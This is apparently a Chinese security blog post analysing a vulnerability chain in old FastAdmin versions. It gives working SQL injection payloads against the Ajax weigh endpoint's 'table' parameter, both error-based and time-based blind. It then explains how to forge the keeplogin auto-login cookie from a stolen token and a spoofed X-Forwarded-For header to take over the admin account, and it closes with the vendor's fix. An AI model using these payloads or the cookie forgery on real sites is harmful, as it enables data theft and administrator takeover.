0x01 前言
前段时间续师傅又给我指出了fastadmin 后台低权限拿 shell 的漏洞点:
在忙好自己的事情后,有了这次的分析
影响版本:V1.0.0.20191212_beta 及以下版本
0x02 fastadmin 的鉴权流程
低权限后台拿 shell 遇到的最大的问题就是有些功能存在 getshell 的点,但是低权限没有权限去访问。因此我们有以下几个思路:
- 在低权限的情况下,找到某些功能存在 getshell 的点
- 把低权限提升到高权限,再利用高权限可访问的功能点去 getshell
- 绕过权限的限制,找到 getshell 的点
本文利用的就是第一种和第二种相结合的情况,在低权限的情况下,找到可利用的某些方法,利用这种方法本身存在的漏洞去获取高权限,然后利用高权限可访问的功能点去 getshell。
既然强调了权限,因此必须要介绍一下fastadmin 的鉴权流程,只有清楚在什么情况下,有权限访问,什么情况下无权限访问,才可以找到系统中可能存在的漏洞点。
在 fastadmin 中的/application/common/controller/Backend.php
文件中,详细说明了鉴权的一些信息。关键信息如下:
protected $noNeedLogin = [];
protected $noNeedRight = [];
...
public function _initialize()
{
$modulename = $this->request->module();
$controllername = Loader::parseName($this->request->controller());
$actionname = strtolower($this->request->action());
$path = str_replace('.', '/', $controllername) . '/' . $actionname;
!defined('IS_ADDTABS') && define('IS_ADDTABS', input("addtabs") ? true : false);
!defined('IS_DIALOG') && define('IS_DIALOG', input("dialog") ? true : false);
!defined('IS_AJAX') && define('IS_AJAX', $this->request->isAjax());
$this->auth = Auth::instance();
// 设置当前请求的URI
$this->auth->setRequestUri($path);
// 检测是否需要验证登录
if (!$this->auth->match($this->noNeedLogin)) {
//检测是否登录
if (!$this->auth->isLogin()) {
Hook::listen('admin_nologin', $this);
$url = Session::get('referer');
$url = $url ? $url : $this->request->url();
if ($url == '/') {
$this->redirect('index/login', [], 302, ['referer' => $url]);
exit;
}
$this->error(__('Please login first'), url('index/login', ['url' => $url]));
}
// 判断是否需要验证权限
if (!$this->auth->match($this->noNeedRight)) {
// 判断控制器和方法判断是否有对应权限
if (!$this->auth->check($path)) {
Hook::listen('admin_nopermission', $this);
$this->error(__('You have no permission'), '');
}
}
}
fastamdin 规定了两个集合,一个集合为无需登录,无需鉴权,即可访问的$noNeedLogin
,一个集合为需要登录,无需鉴权,即可访问的$noNeedRight
,然后定义了初始化函数_initialize()
,该方法主要用于验证访问当前 URL的用户是否登录,访问的方法是否需要登录以及访问的方法是否需要检验权限。
这个鉴权文件被各个控制器所引用,并且这些控制器在开始处都会规定哪些方法属于$noNeedLogin
,哪些方法属于$noNeedRight
,如在/application/admin/index.php
文件中的开头处:
规定了login
方法为无需登录,无需鉴权的方法,index
和logout
为需要登录,无需鉴权的方法。然后重写_initialize()
,并且在该方法中引入了Backend.php
中的_initialize()
判断方法。
以上为 fastadmin 的简单的鉴权流程,更复杂的鉴权,如需要登录并且需要鉴权等,有兴趣的朋友可自行阅读源代码去研究。
0x03 漏洞分析
漏洞点:/application/admin/controller/Ajax.php
在该文件的开头处,定义了各类方法的权限,如下:
规定lang
方法无需登录、无需鉴权即可访问,其他方法(upload、weigh、wipecache、category、area、icon)为需要登录、无需鉴权即可访问的方法。其中,weigh
方法的主要内容如下:
public function weigh()
{
//排序的数组
$ids = $this->request->post("ids");
//拖动的记录ID
$changeid = $this->request->post("changeid");
//操作字段
$field = $this->request->post("field");
//操作的数据表
$table = $this->request->post("table");
//主键
$pk = $this->request->post("pk");
//排序的方式
$orderway = strtolower($this->request->post("orderway", ""));
$orderway = $orderway == 'asc' ? 'ASC' : 'DESC';
$sour = $weighdata = [];
$ids = explode(',', $ids);
$prikey = $pk ? $pk : (Db::name($table)->getPk() ?: 'id');
$pid = $this->request->post("pid");
//限制更新的字段
$field = in_array($field, ['weigh']) ? $field : 'weigh';
// 如果设定了pid的值,此时只匹配满足条件的ID,其它忽略
if ($pid !== '') {
$hasids = [];
$list = Db::name($table)->where($prikey, 'in', $ids)->where('pid', 'in', $pid)->field("{$prikey},pid")->select();
foreach ($list as $k => $v) {
$hasids[] = $v[$prikey];
}
$ids = array_values(array_intersect($ids, $hasids));
}
$list = Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
foreach ($list as $k => $v) {
$sour[] = $v[$prikey];
$weighdata[$v[$prikey]] = $v[$field];
}
$position = array_search($changeid, $ids);
$desc_id = $sour[$position]; //移动到目标的ID值,取出所处改变前位置的值
$sour_id = $changeid;
$weighids = array();
$temp = array_values(array_diff_assoc($ids, $sour));
foreach ($temp as $m => $n) {
if ($n == $sour_id) {
$offset = $desc_id;
} else {
if ($sour_id == $temp[0]) {
$offset = isset($temp[$m + 1]) ? $temp[$m + 1] : $sour_id;
} else {
$offset = isset($temp[$m - 1]) ? $temp[$m - 1] : $sour_id;
}
}
$weighids[$n] = $weighdata[$offset];
Db::name($table)->where($prikey, $n)->update([$field => $weighdata[$offset]]);
}
$this->success();
}
在本方法中,weigh
方法通过 POST 传值的方式,获取到了ids
、changeid
、field
、table
、pk
、orderway
参数的值,可以看到,这些值全部没有经过过滤,然后直接传入了 SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
中。
在这段后加上打印 SQL 语句:echo Db::name($table)->getLastSql();
,如下图所示:
可以看到其 SQL 语句 如下:
SELECT `type`,`pid` FROM `fa_category` WHERE `type` IN ('2','4','1','3','5','6','8','9','7','10','11','12','13') AND `pid` IN (0)
这样就很清楚了,我们可以修改table
值,来执行我们所需要的 SQL 语句,如下:
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category union select 1,updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
成功爆出 user()
,但需要注意的是,由于是本地调试,我开启了 fastadmin 的应用调试模式,如果将其关闭:
那么就不会返回错误信息,也自然不会返回我们所需要的信息:
因此我需要修改 SQL 语句,将报错模式改为时间盲注模式:
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category where id=1 and if(ascii(substr(database(),1,1))>95,sleep(2),1);
发现出错
DeBug 调试发现>
符号被转义成实体了:
没事,将语句改为:
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),1,1)) in (0x66),sleep(2),1)%23
成功注入
同理,利用时间盲注,可以注入出用户名和密码,具体语句可以自行查找相关的实际盲注语句,这里不再赘述
但是,我们知道当管理员密码复杂的时候,MD5 不一定能够破解,况且 fastadmin 密码是加盐的:
那么这个注入岂不是很鸡肋?
当然不是!在/application/admin/controller/Index.php
文件的大约100行,有以下代码:
// 根据客户端的cookie,判断是否可以自动登录
if ($this->auth->autologin()) {
$this->redirect($url);
}
跟进autologin()
public function autologin()
{
$keeplogin = Cookie::get('keeplogin');
if (!$keeplogin) {
return false;
}
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
$admin = Admin::get($id);
if (!$admin || !$admin->token) {
return false;
}
//token有变更
if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
return false;
}
$ip = request()->ip();
//IP有变动
if ($admin->loginip != $ip) {
return false;
}
Session::set("admin", $admin->toArray());
//刷新自动登录的时效
$this->keeplogin($keeptime);
return true;
} else {
return false;
}
}
从keeplogin
中获取信息,然后分割,将其分别赋值给$id
, $keeptime
, $expiretime
, $key
变量,若这些值大于当前时间并且满足以下条件:
- 该
id
是否为管理员 - 这个
id
的 token 在数据库中是否为空 - token 是否有变更
- IP 是否有变动
满足以上条件,那么就可以自动登陆。那么该如何满足呢?
从上面的注入漏洞我们可以从fa_admin
表中的所有信息,fa_admin
表字段信息如下:
因此可以根据存在的 id 值、token 值、IP 值来满足所需要的条件。
对于 id 和 token 我们可以直接根据注入获得的信息来满足条件,对于 ip 的获取,我们可以使用 X-Forwarded-For
来伪造 IP
所以只要满足最后一个条件——token 是否有变更,即可自动登陆
从上面代码中可以看出,id
、keeptime
、expiretime
变量都是我们可控的,token
可以通过注入获得,那么就很简单了,我们自己来构造一个符合$key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token
值的key
,然后构造keeplogin
值来进行自动登陆。
我们可以赋值如下:
id-->1-->c4ca4238a0b923820dcc509a6f75849b
keeptime-->86400-->641bed6f12f5f0033edd3827deec6759
expiretime-->1601902475-->02dbcd10c7f55b1c592350154b5e87de
token-->43e78cd9-b16b-4f27-9648-d60fd0e9b464
key-->c4ca4238a0b923820dcc509a6f75849b641bed6f12f5f0033edd3827deec675902dbcd10c7f55b1c592350154b5e87de43e78cd9-b16b-4f27-9648-d60fd0e9b464-->1fe1e4fc538e66089c4e24ed3b8e4c8c
keeplogin-->1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c
这里要注意的是我们赋值的 expiretime
变量要符合条件$id && $keeptime && $expiretime && $key && $expiretime > time()
才可,具体可以自己使用以下代码测试:
<?php
$keeplogin = '1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c';
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
echo time();
}else{
echo 'No';
}
?>
构造好 keeplogin
后,我们可以来测试一下,首先看一下系统自动生成的 keeplogin
为:
1%7C86400%7C1601886601%7Cab804a9bbb40d920704bc6e1b18a2733
然后打开无痕窗口填入我们自己生成的keeplogin
:
1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c
刷新后,发现自动登陆了id
为 1 的 admin 账号:
剩下的拿 shell 方式就和网上流传的一样了,其实如果权限够,也可以尝试注入直接拿 shell。
0x04 漏洞修复
在V1.0.0.20191212_beta后,官方对于$table
变量进行了修复:
$table = $this->request->post("table");
if (!Validate::is($table, "alphaDash")) {
$this->error();
}
对$table
变量做了判断,验证其值是否为字母、数字、下划线_、破折号-
这样使注入语句不能出现逗号,
、括号
等字符,对于注入的语句做了极大的限制
0x05 总结
本文主要对于低权限如何提升至高权限的方法进行了分析,值得一提的是,在V1.0.0.20200228_beta~V1.0.0.20200920_beta版本中,对于pk
变量未进行修复,但是在V1.2.0.20201001_beta版本中,却对其进行了修复:
此外,SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
中传入了table
、prikey(pk)
、field
、ids
、orderway
变量,其中对于table
以及prikey(pk)
进行了过滤,其他变量却是没有的,so~有兴趣的朋友可以自己测试看看
使用微信扫描二维码完成支付